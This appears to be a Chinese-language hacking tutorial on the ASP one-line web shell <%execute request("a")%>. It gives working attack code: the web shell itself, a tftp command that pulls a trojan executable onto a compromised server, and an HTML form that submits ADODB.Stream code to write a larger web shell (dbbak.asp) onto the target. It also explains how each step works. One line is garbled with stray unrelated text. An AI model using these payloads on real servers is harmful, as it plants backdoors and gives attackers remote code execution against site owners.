通過HTTP協議來訪問
一句話木馬的使用範圍(我只列舉了2種):
1)只有Database Backup的情況
Database Backup成asp檔案時候,不出現“ 編譯錯誤,缺少指令碼關閉標誌%>"
2)SA許可權的時候,一般先寫入一句話,圖個方便..(當然,直接tftp上傳鴿子運行,那更快)
tftp -i ip get server.exe
一句話木馬<%execute request("a")%>的原理:
首Crowdsourced Security Testing道
execute()函數,是用來執行asp代碼的.就是負責執行我們上傳的大馬,將馬交由asp.dll解析.上面的代碼<%execute request("a")%>可以這樣來解釋:
<%
if request("a")<>"" then execute request("a")
%>
如果a不為空白的時候執行.執行什麼呢?...
if a != 0
下面我們來看一下用戶端:
<form action=http://192.168.0.28/shell.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.CreateObject("Adodb.Stream") '建立Adodb.Stream組件..
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>要提交的資料</textarea><BR><center><br>
<input type=submit value=提交>
Adodb.Stream負責上傳讀取資料到伺服器:
組件:"Adodb.Stream"
有下列方法:
Cancel 方法
使用方法如下
Object.Cancel
說明:取消執行掛起的非同步 Execute 或 Open 方法的調用。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
說明:將指定的文本資料裝入對像中。
參數說明:Data 為指定的要寫入的內容。
Options 寫入的選項,可不指定,選擇性參數如下:
adWriteChar =0
adWriteLine =1
SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
說明:將對像的內容寫到FileName指定的檔案中
也就是我們儲存木馬的檔案名稱dbbak.asp
參數說明:FileName指定的檔案
Options 存取的選項,可不指定,選擇性參數如下:
adSaveCreateNotExist =1
adSaveCreateOverWrite =2
提交一句話木馬後,a的值為空白 等待一個寫入的值 訪問http://www.***.com/**.asp就是等待的過程 如何準備用execute()這個函數來執行...
建立一個Adodb.Stream,負責把我們的大馬寫入到伺服器當中...
同時,這個組件定義的變數SaveToFile定義了我們大馬的名字..dbbak.asp
提交到伺服器後execute()函數檢測到a的值不為空白了,所以就執行了我們的大馬!